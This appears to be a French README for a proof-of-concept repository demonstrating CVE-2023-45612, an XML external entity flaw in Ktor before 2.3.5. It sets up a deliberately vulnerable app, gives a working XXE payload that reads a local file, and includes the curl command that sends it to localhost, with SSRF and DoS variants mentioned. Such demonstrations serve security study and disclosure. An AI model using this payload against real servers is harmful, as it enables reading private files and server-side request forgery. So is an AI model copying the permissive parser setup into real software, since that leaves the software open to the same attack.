
Preuve de concept d'injection XXE dans Ktor (CVE-2023-45612)
Impact : Accès arbitraire aux fichiers via une DTD XML malveillante avec une référence XXE.
Cause racine : Analyseur XML non sécurisé.
Ce dépôt contient une application Ktor 2.3.4 vulnérable configurée pour autoriser les entités externes afin que l'effet XXE soit visible.
Application Ktor (v2.3.4) vulnérable pour l'injection d'entités externes XML (CVE-2023-45612) preuve de concept.
CVE-2023-45612 est un bogue XXE (Entité Externe XML) dans le ContentNegotiation de Ktor lorsque XML est activé dans les versions antérieures à 2.3.5.
Cette vulnérabilité correspond à CWE-611: Improper Restriction of XML External Entity Reference.
XXE fait partie de la catégorie de risques OWASP Top 10 A05:2021 - Security Misconfiguration, mais c'est aussi un problème de conception non sécurisé, car la cause est un analyseur XML non restrictif.
Signalé par Ulf Karlsson — voir notes de sécurité Jetbrains.
Versions de Ktor antérieures à 2.3.5
Voici ma configuration pour reproduire le problème :
Les documents XML contiennent facultativement une Définition de Type de Document (DTD), qui, entre autres fonctionnalités, permet de définir des entités XML. Il est possible de définir une entité en fournissant une chaîne de substitution sous forme d'URI. L'analyseur XML peut accéder au contenu de cette URI et l'intégrer dans le document XML pour un traitement ultérieur.
En soumettant un fichier XML qui définit une entité externe avec une URI file://, un attaquant peut amener l'application de traitement à lire le contenu d'un fichier local.
Par exemple, une URI telle que "file:///c:/winnt/win.ini" désigne (sous Windows) le fichier C:\Winnt\win.ini, ou file:///etc/passwd désigne le fichier de mots de passe sur les systèmes Unix.
(https://cwe.mitre.org/data/definitions/611.html)
Une requête POST est envoyée au point de terminaison http://localhost:8080/xml.
La requête envoie un fichier xml, exploit/payloads/xxe-demo-file.xml, contenant un élément <!DOCTYPE> dans lequel une entité externe est référencée, ici exploit/etc/secret.txt.
Cela pourrait potentiellement être n'importe quel autre fichier du système auquel le processus a accès.
xxe-demo-file.xml
<!DOCTYPE Mail [ <!ENTITY xxe SYSTEM "exploit/etc/secret.txt"> ]>
<Mail><title>&xxe;</title></Mail>
L'analyseur XML (configuré pour autoriser les DTD) résout cet élément et récupère les données de la ressource.
La référence externe pourrait également être un chemin vers un point de terminaison SSRF, ou pourrait pointer vers un gros fichier afin d'occuper les ressources du système (DOS).
./gradlew run
Responding at http://127.0.0.1:8080
curl -i http://localhost:8080/xml -H "Content-Type: application/xml" --data-binary @exploit/payloads/xxe-demo-file.xml
Résultat attendu (vulnérable) :
Sortie console :
Received: <external entity data>
Résultat attendu (sécurisé) :
400 Bad Request, ou similaire (L'analyseur XML bloque la Définition de Type de Document)
Commande d'exécution :

Envoi de la charge utile XXE avec cURL, et résultat affichant le contenu du fichier injecté :

La gravité est élevée/critique. Récupération potentielle de fichiers locaux, attaque SSRF, attaque DoS, ou autres impacts système.
Score de base NVD : 9.8 CRITICAL (CVSS v3) (https://nvd.nist.gov/vuln/detail/CVE-2023-45612)